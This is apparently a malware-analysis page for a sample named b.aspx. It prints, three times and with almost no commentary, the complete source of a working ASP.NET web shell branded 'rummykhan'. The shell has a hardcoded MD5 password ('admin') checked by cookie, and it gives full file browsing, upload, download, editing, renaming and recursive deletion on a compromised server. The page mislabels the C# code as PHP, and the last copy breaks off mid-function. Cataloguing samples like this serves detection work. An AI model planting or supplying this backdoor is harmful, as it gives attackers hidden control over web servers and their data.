PHP Malware Analysis

b.aspx

md5: 81eb6532c46743972adc715b52fe697c

Jump to:

Screenshot


Attributes

Title

URLs


Deobfuscated PHP code

<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Diagnostics"%>
<%@ Import Namespace="System.Security"%>
<script runat="server">
    public const string pCookie = "Password";
    public const string Password = "21232f297a57a5a743894a0e4a801fc3";//admin
    protected void Page_Load(object sender, EventArgs e)
    {
        JscriptSender(this);
        
        if (!CheckLogin()) return;
        if (IsPostBack)
        {
            string trg=Request["__EVENTTARGET"];
            string pth = Request["__File"];
            if (trg != "")
            {
                switch (trg)
                {
                    case "Listdir":
                        ListDir(frmb64(pth));
                        break;
                    case "deldir":
                        deldir(frmb64(pth));
                        break;
                    case "dwfile":
                        dwfile(frmb64(pth));
                        break;
                    case "edfile":
                        Bin_CreateFile(pth);
                        break;
                    case "dlfile":
                        DeleteFile(frmb64(pth));
                        break;
                }
                 
            }
            if (trg.StartsWith("ren"))
            {
                rnm(frmb64(trg.Replace("ren", "")), pth);
            }
        }
        else 
        {
            SetPath();
            ListDir(txtDir.Value);
        }
    }

    bool CheckLogin()
    {
        if (Request.Cookies[pCookie] == null)
        { 
            ShowLogin();
            return false;
        }
        else
        {
            if (Request.Cookies[pCookie].Value == Password)
            { ShowHome(); return true; }
            else
            { ShowLogin(); return false; }
        }        
    }

    void SetPath()
    {
        if (txtDir.Value == "")
        {
            txtDir.Value = BuildingPath(Server.MapPath(".")); 
        }
    }

    string BuildingPath(string Path)
    {
        if (!Path.EndsWith(@"\"))
            Path += @"\";
        return Path;
    }
    
    void ShowHome()
    {
        uploader.Visible = true;
        Login.Visible = false;
        FileManager.Visible = true;
        SetPath();
    }

    void ShowLogin()
    {
        Login.Visible = true;
        FileManager.Visible = false;
        uploader.Visible = false;
    }
    
    protected void upl_Click(object sender, EventArgs e) {
        try{
            if (fu.HasFile)
            {
                fu.SaveAs(Server.MapPath("~") + "\\" + Path.GetFileName(fu.FileName));
                ShowNotification("Upload Success");
            }
        }
        catch {
            ShowNotification("Upload Failed");
        }
        ListDir(txtDir.Value);
    }

    protected void btnLogin_Click(object sender, EventArgs e)
    {
        string MD5Pass = FormsAuthentication.HashPasswordForStoringInConfigFile(txtPass.Text, "MD5").ToLower();
        if (Password == MD5Pass)
        {
            Response.Cookies.Add(new HttpCookie(pCookie, MD5Pass));
        }
    }

    private string btb64(string instr)
    {
        byte[] tmp = Encoding.UTF8.GetBytes(instr);
        return Convert.ToBase64String(tmp);
    }
    private string frmb64(string instr)
    {
        byte[] tmp = Convert.FromBase64String(instr);
        return Encoding.UTF8.GetString(tmp);
    }
    
    void ListDir(string Path)
    {
        try
        {
            Editor.Visible = false;
            txtDir.Value = BuildingPath(Path);
            DirectoryInfo objects = new DirectoryInfo(Path);

            if (Directory.GetParent(Path) != null)
            {
                TableRow ParentRow = new TableRow();
                ParentRow.CssClass = "head";

                TableCell parentcell1 = new TableCell();
                parentcell1.Text = "<a href=\"javascript:Bin_PostBack('Listdir','" + btb64(Directory.GetParent(Path).ToString()) + "')\"  >Parent Directory</a>";

                TableCell parentcell2 = new TableCell();
                parentcell2.Text = "--";

                TableCell parentcell3 = new TableCell();
                parentcell3.Text = "--";

                ParentRow.Cells.Add(parentcell1);
                ParentRow.Cells.Add(parentcell2);
                ParentRow.Cells.Add(parentcell3);

                tblFile.Rows.Add(ParentRow);
            }


            foreach (DirectoryInfo di in objects.GetDirectories())
            {
                TableRow tr = new TableRow();
                tr.CssClass = "head";
                TableCell namecell = new TableCell();
                namecell.Text = "<a href=\"javascript:Bin_PostBack('Listdir','" + btb64(txtDir.Value + di.Name) + "')\" >" + di.Name + "</a>";

                TableCell sizecell = new TableCell();
                sizecell.Text = "--";

                TableCell actioncell = new TableCell();
                actioncell.Text = "<a href=\"javascript:if(confirm('Are you sure will delete it ?If non-empty directory,will be delete all the files.')){Bin_PostBack('deldir','" + btb64(txtDir.Value + di.Name) + "')};\" >Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','" + di.Name.Replace("'", "\\'") + "');if(filename){Bin_PostBack('ren" + btb64(txtDir.Value + di.Name) + "',filename);} \" >Rename</a>";

                tr.Cells.Add(namecell);
                tr.Cells.Add(sizecell);
                tr.Cells.Add(actioncell);

                tblFile.Rows.Add(tr);
            }

            foreach (FileInfo di in objects.GetFiles())
            {
                TableRow tr = new TableRow();
                tr.CssClass = "head";
                TableCell namecell = new TableCell();
                namecell.Text = "<span >" + di.Name + "</span>";

                TableCell sizecell = new TableCell();
                sizecell.Text = "<span >" + di.Length.ToString() + " bytes</span>";

                TableCell actioncell = new TableCell();
                actioncell.Text = "<a href=\"#\" onclick=\"Bin_PostBack('dwfile','" + btb64(txtDir.Value + di.Name) + "')\" >Down</a> | <a href=\"#\" onclick=\"Bin_PostBack('edfile','" + di.Name + "')\" >Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','" + di.Name.Replace("'", "\\'") + "');if(filename){Bin_PostBack('ren" + btb64(txtDir.Value + di.Name) + "',filename);} \" >Rename</a> | <a href=\"javascript:if(confirm('Are you sure will delete it ?')){Bin_PostBack('dlfile','" + btb64(txtDir.Value + di.Name) + "')};\" >Del</a>";

                tr.Cells.Add(namecell);
                tr.Cells.Add(sizecell);
                tr.Cells.Add(actioncell);

                tblFile.Rows.Add(tr);
            }
        }
        catch (Exception ex)
        {
            ShowNotification(ex.Message); 
        }
    }
    private void deldir(string dirstr)
    {
        try
        {
            Directory.Delete(dirstr, true);
            ShowNotification(dirstr + " Delete Success");
        }
        catch (Exception error)
        {
            ShowNotification(error.Message);
        }
        ListDir(Directory.GetParent(dirstr).ToString());
    }

    private void DeleteFile(string FileName)
    {
        try
        {
            File.Delete(FileName);
            ShowNotification(FileName + " Delete Success");
        }
        catch (Exception ex)
        {
            ShowNotification(ex.Message);
        }
        ListDir(txtDir.Value);
    }
    
    private void rnm(string source, string dire)
    {
        try
        {
            dire = Path.Combine(txtDir.Value, dire);
            Directory.Move(source, dire);
            ShowNotification("Rename Success");
        }
        catch (Exception error)
        {
            ShowNotification(error.Message);
        }
        ListDir(txtDir.Value);
    }

    private void Bin_CreateFile(string path)
    {
        FileManager.Visible = false;
        Editor.Visible = true;
        if (path.IndexOf(":") < 0)
        {
            Bin_TextBox_Fp.Value = txtDir.Value + path;
        }
        else
        {
            Bin_TextBox_Fp.Value = path;
        }
        if (File.Exists(Bin_TextBox_Fp.Value))
        {
            StreamReader sr = new StreamReader(Bin_TextBox_Fp.Value, Encoding.Default);
            Bin_Textarea_Edit.InnerText = sr.ReadToEnd();
            sr.Close();
        }
        else
        {
            Bin_Textarea_Edit.InnerText = "";
        }
    }
    
    private void dwfile(string path)
    {
        FileStream fs = null;
        byte[] buffer = new byte[0x1000];
        int count = 0;
        try
        {
            FileInfo fi = new FileInfo(path);
            fs = fi.OpenRead();
            Response.Clear();
            Response.ClearHeaders();
            Response.Buffer = false;
            this.EnableViewState = false;
            Response.AddHeader("Content-Disposition", "attachment;filename=" + HttpUtility.UrlEncode(fi.Name, System.Text.Encoding.UTF8));
            Response.AddHeader("Content-Length", fi.Length.ToString());
            Response.ContentType = "application/octet-stream";
            count = fs.Read(buffer, 0, 0x1000);
            while (count > 0)
            {
                Response.OutputStream.Write(buffer, 0, count);
                Response.Flush();
                count = fs.Read(buffer, 0, 0x1000);
            }
            Page.Response.Flush();
            Response.End();
        }
        catch (Exception ex) { ShowNotification(ex.Message); }
        finally { if (fs != null) { fs.Close(); } }
    }
    
    public static void JscriptSender(System.Web.UI.Page page)
    {
        page.RegisterHiddenField("__EVENTTARGET", "");
        page.RegisterHiddenField("__FILE", "");
        string s = @"<script language=Javascript>";
        s += @"function Bin_PostBack(eventTarget,eventArgument)";
        s += @"{";
        s += @"var theform=document.forms[0];";
        s += @"theform.__EVENTTARGET.value=eventTarget;";
        s += @"theform.__FILE.value=eventArgument;";
        s += @"theform.submit();theform.__EVENTTARGET.value="""";theform.__FILE.value=""""";
        s += @"} ";
        s += @"</scr" + "ipt>";
        page.RegisterStartupScript("", s);
    }

    protected void Bin_Button_Save_Click(object sender, EventArgs e)
    {
        try
        {
            StreamWriter sw = new StreamWriter(Bin_TextBox_Fp.Value, false, Encoding.Default);
            sw.Write(Bin_Textarea_Edit.InnerText);
            sw.Close();
            ShowNotification("Saved");
        }
        catch (Exception error)
        {
            ShowNotification(error.Message);
        }
        ListDir(txtDir.Value);
    }

    void ShowNotification(string Notification)
    {
        Response.Write("<center><span class=\"notify\">" + Notification + "</span></center>");
    }
    
    protected void btnGo_Click(object sender, EventArgs e)
    {
        ListDir(txtDir.Value);
    }
</script>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>FileManager : rummykhan</title>
    <style type="text/css">
        .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;}
        .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:20px;}
        .head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#e8e8e8;padding:5px 10px 5px 5px;font:11px Verdana;}
        .myFont{font:11px Verdana;}
        .notify{font:11px Verdana; color:red;font-weight:bold;}
    </style>
</head>
<body>
    <form id="form1" runat="server">
        <%--Login--%>
        <center>
        <div id="Login" runat="server" style=" margin:15px" enableviewstate="false" visible="false" >
		<span class="myFont">Password:</span>
		<asp:TextBox ID="txtPass" runat="server"></asp:TextBox>
		<asp:Button ID="btnLogin" runat="server" Text="Login" OnClick="btnLogin_Click"/>
         <br /><span class="myFont">Powered By rummykhan!!</span>
	    </div>
         
        <%--Uploader--%>
        <div id="uploader" runat="server" enableviewstate="false">
        <asp:FileUpload ID="fu" runat="server" CssClass="bt" />
        <asp:Button ID="upl" runat="server" Text="Upload" CssClass="bt" OnClick="upl_Click" />
        </div>

        <%--FileList--%>
	    <div id="FileManager" runat="server">
	    <table width="80%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
        <tr>
	    <td style="font:11px Verdana;white-space:nowrap">Current Directory : </td>
	    <td style=" width:100%"><input class="input" id="txtDir" type="text" style="width:97%;margin:0 8px;font:11px Verdana;" runat="server"/>
	    </td>
	    <td style="white-space:nowrap" ><asp:Button ID="btnGo" runat="server" Text="Go" CssClass="bt" OnClick="btnGo_Click"/></td>
        </tr>
	    </table>
	    <asp:Table ID="tblFile" runat="server" Width="80%" CellSpacing="0" >
		<asp:TableRow CssClass="head"><asp:TableCell>Filename</asp:TableCell><asp:TableCell Width="15%">Size</asp:TableCell><asp:TableCell Width="25%">Action</asp:TableCell></asp:TableRow>
		</asp:Table>
	    </div>

        <%--FileEdit--%>
	    <div id="Editor" runat="server" visible="false">
	    <input class="input" id="Bin_TextBox_Fp" type="text" size="100" runat="server"/>
	    </p>
	    <p class="myFont">File Content<br/>
	    <textarea id="Bin_Textarea_Edit" runat="server" class="area" cols="100" rows="25" enableviewstate="false" ></textarea>
	    </p>
	    <p><asp:Button ID="Bin_Button_Save" runat="server" Text="Submit" CssClass="bt" OnClick="Bin_Button_Save_Click"/> </p>
	    </div>
        </center>
    </form>
</body>
</html>

Execution traces


Generated HTML code

<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">&lt;%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%&gt;
&lt;%@ import Namespace="System.IO"%&gt;
&lt;%@ import Namespace="System.Diagnostics"%&gt;
&lt;%@ Import Namespace="System.Security"%&gt;
&lt;script runat="server"&gt;
    public const string pCookie = "Password";
    public const string Password = "21232f297a57a5a743894a0e4a801fc3";//admin
    protected void Page_Load(object sender, EventArgs e)
    {
        JscriptSender(this);
        
        if (!CheckLogin()) return;
        if (IsPostBack)
        {
            string trg=Request["__EVENTTARGET"];
            string pth = Request["__File"];
            if (trg != "")
            {
                switch (trg)
                {
                    case "Listdir":
                        ListDir(frmb64(pth));
                        break;
                    case "deldir":
                        deldir(frmb64(pth));
                        break;
                    case "dwfile":
                        dwfile(frmb64(pth));
                        break;
                    case "edfile":
                        Bin_CreateFile(pth);
                        break;
                    case "dlfile":
                        DeleteFile(frmb64(pth));
                        break;
                }
                 
            }
            if (trg.StartsWith("ren"))
            {
                rnm(frmb64(trg.Replace("ren", "")), pth);
            }
        }
        else 
        {
            SetPath();
            ListDir(txtDir.Value);
        }
    }

    bool CheckLogin()
    {
        if (Request.Cookies[pCookie] == null)
        { 
            ShowLogin();
            return false;
        }
        else
        {
            if (Request.Cookies[pCookie].Value == Password)
            { ShowHome(); return true; }
            else
            { ShowLogin(); return false; }
        }        
    }

    void SetPath()
    {
        if (txtDir.Value == "")
        {
            txtDir.Value = BuildingPath(Server.MapPath(".")); 
        }
    }

    string BuildingPath(string Path)
    {
        if (!Path.EndsWith(@"\"))
            Path += @"\";
        return Path;
    }
    
    void ShowHome()
    {
        uploader.Visible = true;
        Login.Visible = false;
        FileManager.Visible = true;
        SetPath();
    }

    void ShowLogin()
    {
        Login.Visible = true;
        FileManager.Visible = false;
        uploader.Visible = false;
    }
    
    protected void upl_Click(object sender, EventArgs e) {
        try{
            if (fu.HasFile)
            {
                fu.SaveAs(Server.MapPath("~") + "\\" + Path.GetFileName(fu.FileName));
                ShowNotification("Upload Success");
            }
        }
        catch {
            ShowNotification("Upload Failed");
        }
        ListDir(txtDir.Value);
    }

    protected void btnLogin_Click(object sender, EventArgs e)
    {
        string MD5Pass = FormsAuthentication.HashPasswordForStoringInConfigFile(txtPass.Text, "MD5").ToLower();
        if (Password == MD5Pass)
        {
            Response.Cookies.Add(new HttpCookie(pCookie, MD5Pass));
        }
    }

    private string btb64(string instr)
    {
        byte[] tmp = Encoding.UTF8.GetBytes(instr);
        return Convert.ToBase64String(tmp);
    }
    private string frmb64(string instr)
    {
        byte[] tmp = Convert.FromBase64String(instr);
        return Encoding.UTF8.GetString(tmp);
    }
    
    void ListDir(string Path)
    {
        try
        {
            Editor.Visible = false;
            txtDir.Value = BuildingPath(Path);
            DirectoryInfo objects = new DirectoryInfo(Path);

            if (Directory.GetParent(Path) != null)
            {
                TableRow ParentRow = new TableRow();
                ParentRow.CssClass = "head";

                TableCell parentcell1 = new TableCell();
                parentcell1.Text = "&lt;a href=\"javascript:Bin_PostBack('Listdir','" + btb64(Directory.GetParent(Path).ToString()) + "')\"  &gt;Parent Directory&lt;/a&gt;";

                TableCell parentcell2 = new TableCell();
                parentcell2.Text = "--";

                TableCell parentcell3 = new TableCell();
                parentcell3.Text = "--";

                ParentRow.Cells.Add(parentcell1);
                ParentRow.Cells.Add(parentcell2);
                ParentRow.Cells.Add(parentcell3);

                tblFile.Rows.Add(ParentRow);
            }


            foreach (DirectoryInfo di in objects.GetDirectories())
            {
                TableRow tr = new TableRow();
                tr.CssClass = "head";
                TableCell namecell = new TableCell();
                namecell.Text = "&lt;a href=\"javascript:Bin_PostBack('Listdir','" + btb64(txtDir.Value + di.Name) + "')\" &gt;" + di.Name + "&lt;/a&gt;";

                TableCell sizecell = new TableCell();
                sizecell.Text = "--";

                TableCell actioncell = new TableCell();
                actioncell.Text = "&lt;a href=\"javascript:if(confirm('Are you sure will delete it ?If non-empty directory,will be delete all the files.')){Bin_PostBack('deldir','" + btb64(txtDir.Value + di.Name) + "')};\" &gt;Del&lt;/a&gt; | &lt;a href='#' onclick=\"var filename=prompt('Please input the new folder name:','" + di.Name.Replace("'", "\\'") + "');if(filename){Bin_PostBack('ren" + btb64(txtDir.Value + di.Name) + "',filename);} \" &gt;Rename&lt;/a&gt;";

                tr.Cells.Add(namecell);
                tr.Cells.Add(sizecell);
                tr.Cells.Add(actioncell);

                tblFile.Rows.Add(tr);
            }

            foreach (FileInfo di in objects.GetFiles())
            {
                TableRow tr = new TableRow();
                tr.CssClass = "head";
                TableCell namecell = new TableCell();
                namecell.Text = "&lt;span &gt;" + di.Name + "&lt;/span&gt;";

                TableCell sizecell = new TableCell();
                sizecell.Text = "&lt;span &gt;" + di.Length.ToString() + " bytes&lt;/span&gt;";

                TableCell actioncell = new TableCell();
                actioncell.Text = "&lt;a href=\"#\" onclick=\"Bin_PostBack('dwfile','" + btb64(txtDir.Value + di.Name) + "')\" &gt;Down&lt;/a&gt; | &lt;a href=\"#\" onclick=\"Bin_PostBack('edfile','" + di.Name + "')\" &gt;Edit&lt;/a&gt; | &lt;a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','" + di.Name.Replace("'", "\\'") + "');if(filename){Bin_PostBack('ren" + btb64(txtDir.Value + di.Name) + "',filename);} \" &gt;Rename&lt;/a&gt; | &lt;a href=\"javascript:if(confirm('Are you sure will delete it ?')){Bin_PostBack('dlfile','" + btb64(txtDir.Value + di.Name) + "')};\" &gt;Del&lt;/a&gt;";

                tr.Cells.Add(namecell);
                tr.Cells.Add(sizecell);
                tr.Cells.Add(actioncell);

                tblFile.Rows.Add(tr);
            }
        }
        catch (Exception ex)
        {
            ShowNotification(ex.Message); 
        }
    }
    private void deldir(string dirstr)
    {
        try
        {
            Directory.Delete(dirstr, true);
            ShowNotification(dirstr + " Delete Success");
        }
        catch (Exception error)
        {
            ShowNotification(error.Message);
        }
        ListDir(Directory.GetParent(dirstr).ToString());
    }

    private void DeleteFile(string FileName)
    {
        try
        {
            File.Delete(FileName);
            ShowNotification(FileName + " Delete Success");
        }
        catch (Exception ex)
        {
            ShowNotification(ex.Message);
        }
        ListDir(txtDir.Value);
    }
    
    private void rnm(string source, string dire)
    {
        try
        {
            dire = Path.Combine(txtDir.Value, dire);
            Directory.Move(source, dire);
            ShowNotification("Rename Success");
        }
        catch (Exception error)
        {
            ShowNotification(error.Message);
        }
        ListDir(txtDir.Value);
    }

    private void Bin_CreateFile(string path)
    {
        FileManager.Visible = false;
        Editor.Visible = true;
        if (path.IndexOf(":") &lt; 0)
        {
            Bin_TextBox_Fp.Value = txtDir.Value + path;
        }
        else
        {
            Bin_TextBox_Fp.Value = path;
        }
        if (File.Exists(Bin_TextBox_Fp.Value))
        {
            StreamReader sr = new StreamReader(Bin_TextBox_Fp.Value, Encoding.Default);
            Bin_Textarea_Edit.InnerText = sr.ReadToEnd();
            sr.Close();
        }
        else
        {
            Bin_Textarea_Edit.InnerText = "";
        }
    }
    
    private void dwfile(string path)
    {
        FileStream fs = null;
        byte[] buffer = new byte[0x1000];
        int count = 0;
        try
        {
            FileInfo fi = new FileInfo(path);
            fs = fi.OpenRead();
            Response.Clear();
            Response.ClearHeaders();
            Response.Buffer = false;
            this.EnableViewState = false;
            Response.AddHeader("Content-Disposition", "attachment;filename=" + HttpUtility.UrlEncode(fi.Name, System.Text.Encoding.UTF8));
            Response.AddHeader("Content-Length", fi.Length.ToString());
            Response.ContentType = "application/octet-stream";
            count = fs.Read(buffer, 0, 0x1000);
            while (count &gt; 0)
            {
                Response.OutputStream.Write(buffer, 0, count);
                Response.Flush();
                count = fs.Read(buffer, 0, 0x1000);
            }
            Page.Response.Flush();
            Response.End();
        }
        catch (Exception ex) { ShowNotification(ex.Message); }
        finally { if (fs != null) { fs.Close(); } }
    }
    
    public static void JscriptSender(System.Web.UI.Page page)
    {
        page.RegisterHiddenField("__EVENTTARGET", "");
        page.RegisterHiddenField("__FILE", "");
        string s = @"&lt;script language=Javascript&gt;";
        s += @"function Bin_PostBack(eventTarget,eventArgument)";
        s += @"{";
        s += @"var theform=document.forms[0];";
        s += @"theform.__EVENTTARGET.value=eventTarget;";
        s += @"theform.__FILE.value=eventArgument;";
        s += @"theform.submit();theform.__EVENTTARGET.value="""";theform.__FILE.value=""""";
        s += @"} ";
        s += @"&lt;/scr" + "ipt&gt;";
        page.RegisterStartupScript("", s);
    }

    protected void Bin_Button_Save_Click(object sender, EventArgs e)
    {
        try
        {
            StreamWriter sw = new StreamWriter(Bin_TextBox_Fp.Value, false, Encoding.Default);
            sw.Write(Bin_Textarea_Edit.InnerText);
            sw.Close();
            ShowNotification("Saved");
        }
        catch (Exception error)
        {
            ShowNotification(error.Message);
        }
        ListDir(txtDir.Value);
    }

    void ShowNotification(string Notification)
    {
        Response.Write("&lt;center&gt;&lt;span class=\"notify\"&gt;" + Notification + "&lt;/span&gt;&lt;/center&gt;");
    }
    
    protected void btnGo_Click(object sender, EventArgs e)
    {
        ListDir(txtDir.Value);
    }
&lt;/script&gt;
&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
&lt;head runat="server"&gt;
    &lt;title&gt;FileManager : rummykhan&lt;/title&gt;
    &lt;style type="text/css"&gt;
        .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;}
        .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:20px;}
        .head td{border-top:1px solid #ddd;border-bottom:1px solid #ccc;background:#e8e8e8;padding:5px 10px 5px 5px;font:11px Verdana;}
        .myFont{font:11px Verdana;}
        .notify{font:11px Verdana; color:red;font-weight:bold;}
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;form id="form1" runat="server"&gt;
        &lt;%--Login--%&gt;
        &lt;center&gt;
        &lt;div id="Login" runat="server" style=" margin:15px" enableviewstate="false" visible="false" &gt;
		&lt;span class="myFont"&gt;Password:&lt;/span&gt;
		&lt;asp:TextBox ID="txtPass" runat="server"&gt;&lt;/asp:TextBox&gt;
		&lt;asp:Button ID="btnLogin" runat="server" Text="Login" OnClick="btnLogin_Click"/&gt;
         &lt;br /&gt;&lt;span class="myFont"&gt;Powered By rummykhan!!&lt;/span&gt;
	    &lt;/div&gt;
         
        &lt;%--Uploader--%&gt;
        &lt;div id="uploader" runat="server" enableviewstate="false"&gt;
        &lt;asp:FileUpload ID="fu" runat="server" CssClass="bt" /&gt;
        &lt;asp:Button ID="upl" runat="server" Text="Upload" CssClass="bt" OnClick="upl_Click" /&gt;
        &lt;/div&gt;

        &lt;%--FileList--%&gt;
	    &lt;div id="FileManager" runat="server"&gt;
	    &lt;table width="80%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;"&gt;
        &lt;tr&gt;
	    &lt;td style="font:11px Verdana;white-space:nowrap"&gt;Current Directory : &lt;/td&gt;
	    &lt;td style=" width:100%"&gt;&lt;input class="input" id="txtDir" type="text" style="width:97%;margin:0 8px;font:11px Verdana;" runat="server"/&gt;
	    &lt;/td&gt;
	    &lt;td style="white-space:nowrap" &gt;&lt;asp:Button ID="btnGo" runat="server" Text="Go" CssClass="bt" OnClick="btnGo_Click"/&gt;&lt;/td&gt;
        &lt;/tr&gt;
	    &lt;/table&gt;
	    &lt;asp:Table ID="tblFile" runat="server" Width="80%" CellSpacing="0" &gt;
		&lt;asp:TableRow CssClass="head"&gt;&lt;asp:TableCell&gt;Filename&lt;/asp:TableCell&gt;&lt;asp:TableCell Width="15%"&gt;Size&lt;/asp:TableCell&gt;&lt;asp:TableCell Width="25%"&gt;Action&lt;/asp:TableCell&gt;&lt;/asp:TableRow&gt;
		&lt;/asp:Table&gt;
	    &lt;/div&gt;

        &lt;%--FileEdit--%&gt;
	    &lt;div id="Editor" runat="server" visible="false"&gt;
	    &lt;input class="input" id="Bin_TextBox_Fp" type="text" size="100" runat="server"/&gt;
	    &lt;/p&gt;
	    &lt;p class="myFont"&gt;File Content&lt;br/&gt;
	    &lt;textarea id="Bin_Textarea_Edit" runat="server" class="area" cols="100" rows="25" enableviewstate="false" &gt;&lt;/textarea&gt;
	    &lt;/p&gt;
	    &lt;p&gt;&lt;asp:Button ID="Bin_Button_Save" runat="server" Text="Submit" CssClass="bt" OnClick="Bin_Button_Save_Click"/&gt; &lt;/p&gt;
	    &lt;/div&gt;
        &lt;/center&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre></body></html>

Original PHP code

<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.Diagnostics"%>
<%@ Import Namespace="System.Security"%>
<script runat="server">
    public const string pCookie = "Password";
    public const string Password = "21232f297a57a5a743894a0e4a801fc3";//admin
    protected void Page_Load(object sender, EventArgs e)
    {
        JscriptSender(this);
        
        if (!CheckLogin()) return;
        if (IsPostBack)
        {
            string trg=Request["__EVENTTARGET"];
            string pth = Request["__File"];
            if (trg != "")
            {
                switch (trg)
                {
                    case "Listdir":
                        ListDir(frmb64(pth));
                        break;
                    case "deldir":
                        deldir(frmb64(pth));
                        break;
                    case "dwfile":
                        dwfile(frmb64(pth));
                        break;
                    case "edfile":
                        Bin_CreateFile(pth);
                        break;
                    case "dlfile":
                        DeleteFile(frmb64(pth));
                        break;
                }
                 
            }
            if (trg.StartsWith("ren"))
            {
                rnm(frmb64(trg.Replace("ren", "")), pth);
            }
        }
        else 
        {
            SetPath();
            ListDir(txtDir.Value);
        }
    }

    bool CheckLogin()
    {
        if (Request.Cookies[pCookie] == null)
        { 
            ShowLogin();
            return false;
        }
        else
        {
            if (Request.Cookies[pCookie].Value == Password)
            { ShowHome(); return true; }
            else
            { ShowLogin(); return false; }
        }        
    }

    void SetPath()
    {
        if (txtDir.Value == "")
        {
            txtDir.Value = BuildingPath(Server.MapPath(".")); 
        }
    }

    string BuildingPath(string Path)
    {
        if (!Path.EndsWith(@"\"))
            Path += @"\";
        return Path;
    }
    
    void ShowHome()
    {
        uploader.Visible = true;
        Login.Visible = false;
        FileManager.Visible = true;
        SetPath();
    }

    void ShowLogin()
    {
        Login.Visible = true;
        FileManager.Visible = false;
        uploader.Visible = false;
    }
    
    protected void upl_Click(object sender, EventArgs e) {
        try{
            if (fu.HasFile)
            {
                fu.SaveAs(Server.MapPath("~") + "\\" + Path.GetFileName(fu.FileName));
                ShowNotification("Upload Success");
            }
        }
        catch {
            ShowNotification("Upload Failed");
        }
        ListDir(txtDir.Value);
    }

    protected void btnLogin_Click(object sender, EventArgs e)
    {
        string MD5Pass = FormsAuthentication.HashPasswordForStoringInConfigFile(txtPass.Text, "MD5").ToLower();
        if (Password == MD5Pass)
        {
            Response.Cookies.Add(new HttpCookie(pCookie, MD5Pass));
        }
    }

    private string btb64(string instr)
    {
        byte[] tmp = Encoding.UTF8.GetBytes(instr);
        return Convert.ToBase64String(tmp);
    }
    private string frmb64(string instr)
    {
        byte[] tmp = Convert.FromBase64String(instr);
        return Encoding.UTF8.GetString(tmp);
    }
    
    void ListDir(string Path)
    {
        try
        {
            Editor.Visible = false;
            txtDir.Value = BuildingPath(Path);
            DirectoryInfo objects = new DirectoryInfo(Path);

            if (Directory.GetParent(Path) != null)
            {
                TableRow ParentRow = new TableRow();
                ParentRow.CssClass = "head";

                TableCell parentcell1 = new TableCell();
                parentcell1.Text = "<a href=\"javascript:Bin_PostBack('Listdir','" + btb64(Directory.GetParent(Path).ToString()) + "')\"  >Parent Directory</a>";

                TableCell parentcell2 = new TableCell();
                parentcell2.Text = "--";

                TableCell parentcell3 = new TableCell();
                parentcell3.Text = "--";

                ParentRow.Cells.Add(parentcell1);
                ParentRow.Cells.Add(parentcell2);
                ParentRow.Cells.Add(parentcell3);

                tblFile.Rows.Add(ParentRow);
            }


            foreach (DirectoryInfo di in objects.GetDirectories())
            {
                TableRow tr = new TableRow();
                tr.CssClass = "head";
                TableCell namecell = new TableCell();
                namecell.Text = "<a href=\"javascript:Bin_PostBack('Listdir','" + btb64(txtDir.Value + di.Name) + "')\" >" + di.Name + "</a>";

                TableCell sizecell = new TableCell();
                sizecell.Text = "--";

                TableCell actioncell = new TableCell();
                actioncell.Text = "<a href=\"javascript:if(confirm('Are you sure will delete it ?If non-empty directory,will be delete all the files.')){Bin_PostBack('deldir','" + btb64(txtDir.Value + di.Name) + "')};\" >Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','" + di.Name.Replace("'", "\\'") + "');if(filename){Bin_PostBack('ren" + btb64(txtDir.Value + di.Name) + "',filename);} \" >Rename</a>";

                tr.Cells.Add(namecell);
                tr.Cells.Add(sizecell);
                tr.Cells.Add(actioncell);

                tblFile.Rows.Add(tr);
            }

            foreach (FileInfo di in objects.GetFiles())
            {
                TableRow tr = new TableRow();
                tr.CssClass = "head";
                TableCell namecell = new TableCell();
                namecell.Text = "<span >" + di.Name + "</span>";

                TableCell sizecell = new TableCell();
                sizecell.Text = "<span >" + di.Length.ToString() + " bytes</span>";

                TableCell actioncell = new TableCell();
                actioncell.Text = "<a href=\"#\" onclick=\"Bin_PostBack('dwfile','" + btb64(txtDir.Value + di.Name) + "')\" >Down</a> | <a href=\"#\" onclick=\"Bin_PostBack('edfile','" + di.Name + "')\" >Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','" + di.Name.Replace("'", "\\'") + "');if(filename){Bin_PostBack('ren" + btb64(txtDir.Value + di.Name) + "',filename);} \" >Rename</a> | <a href=\"javascript:if(confirm('Are you sure will delete it ?')){Bin_PostBack('dlfile','" + btb64(txtDir.Value + di.Name) + "')};\" >Del</a>";

                tr.Cells.Add(namecell);
                tr.Cells.Add(sizecell);
                tr.Cells.Add(actioncell);

                tblFile.Rows.Add(tr);
            }
        }
        catch (Exception ex)
        {
            ShowNotification(ex.Message); 
        }
    }
    private void deldir(string dirstr)
    {
        try
        {
            Directory.Delete(dirstr, true);
            ShowNotification(dirstr + " Delete Success");
        }
        catch (Exception error)
        {
            ShowNotification(error.Message);
        }
        ListDir(Directory.GetParent(dirstr).ToString());
    }

    private void DeleteFile(string FileName)
    {
        try
        {
            File.Delete(FileName);
            ShowNotification(FileName + " Delete Success");
        }
        catch (Exception ex)
        {
            ShowNotification(ex.Message);
        }
